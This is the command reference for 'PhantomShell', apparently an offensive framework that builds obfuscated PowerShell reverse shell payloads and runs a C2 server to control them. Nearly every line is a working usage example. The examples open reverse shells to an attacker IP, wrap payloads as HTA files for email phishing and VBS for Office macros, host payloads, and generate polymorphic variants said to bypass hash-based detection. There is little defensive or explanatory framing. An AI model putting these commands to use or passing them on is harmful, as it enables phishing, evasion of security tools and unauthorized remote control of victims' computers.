⌨️ Command Reference

Complete list of PhantomShell commands with examples

Essential Most commonly used Advanced Advanced features Utility Utility commands

Payload Generation

python3 phantomshell.py revshell -i IP -p PORT
Generate basic PowerShell reverse shell payload
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444
Essential
python3 phantomshell.py revshell -i IP -p PORT -o random -l 3 --enc-b64
Maximum evasion: random variables + 3 layers + base64 IP hiding
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -o random -l 3 --enc-b64
Advanced
Best for high-security environments
python3 phantomshell.py revshell -i IP -p PORT -f hta -l 2
Generate HTA phishing payload with 2 encoding layers
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f hta -l 2
Advanced
Great for email phishing
python3 phantomshell.py revshell -i IP -p PORT -f cmd
Generate CMD wrapper payload for Command Prompt
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f cmd
Utility
Runs from CMD without PowerShell window
python3 phantomshell.py revshell -i IP -p PORT -f vbs
Generate VBS payload for Office macro delivery
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f vbs
Advanced
Use in Office macro attacks
python3 phantomshell.py revshell -i IP -p PORT -f mshta
Generate MSHTA one-liner for quick execution
Example: python3 phantomshell.py revshell -i 10.10.10.5 -p 4444 -f mshta
Utility
Fast one-liner execution

All-in-One Deployment

python3 phantomshell.py serve -i IP -p PORT --host-payload --start-c2 --password PASS
Complete workflow: Generate, host payload, and start C2 server in one command
Example: python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --start-c2 --password RedTeam2026
Essential
Recommended for most use cases
python3 phantomshell.py serve -i IP -p PORT --host-payload --host-port 8000
Generate and host payload on HTTP server (without C2)
Example: python3 phantomshell.py serve -i 10.10.10.5 -p 4444 --host-payload --host-port 8000
Utility
Just hosting, no C2 server

C2 Server

python3 phantomc2.py --port PORT --password PASS
Start C2 server with Web UI and CLI interface
Example: python3 phantomc2.py --port 4444 --password RedTeam2026
Essential
Web UI at http://localhost:8080
python3 phantomc2.py --port PORT --http-port HTTP --web-port WEB --password PASS
Start C2 server with custom ports
Example: python3 phantomc2.py --port 5555 --http-port 9090 --web-port 8888 --password SecurePass123
Advanced
Custom port configuration
python3 phantomc2.py --port PORT --password PASS --no-cli
Start C2 server in headless mode (no CLI interface)
Example: python3 phantomc2.py --port 4444 --password RedTeam2026 --no-cli
Utility
No interactive CLI

Polymorphic Generation

python3 phantomshell.py polymorph -i IP -p PORT -n COUNT
Generate multiple polymorphic payload variants with unique fingerprints
Example: python3 phantomshell.py polymorph -i 10.10.10.5 -p 4444 -n 5
Advanced
Bypasses hash-based detection

Common Options

Replace highlighted values with your actual configuration.

Flag Short Description Default
--attacker-ip -i Your C2 server IP address Required
--port -p Listening port for reverse shell Required
--obf-profile -o Obfuscation level: minimal / aggressive / random aggressive
--layers -l Encoding layers (1-3) 1
--format -f Output format: powershell / cmd / hta / vbs / mshta powershell
--enc-b64 Hide IP and port in base64 encoding Off
--keep-pwd Show current directory in the prompt Off
--do-not-hide Disable hidden window flags (shows PowerShell window) Off
--verbose -v Show decoded payload before encoding Off
--password Password for C2 server Web UI Required for C2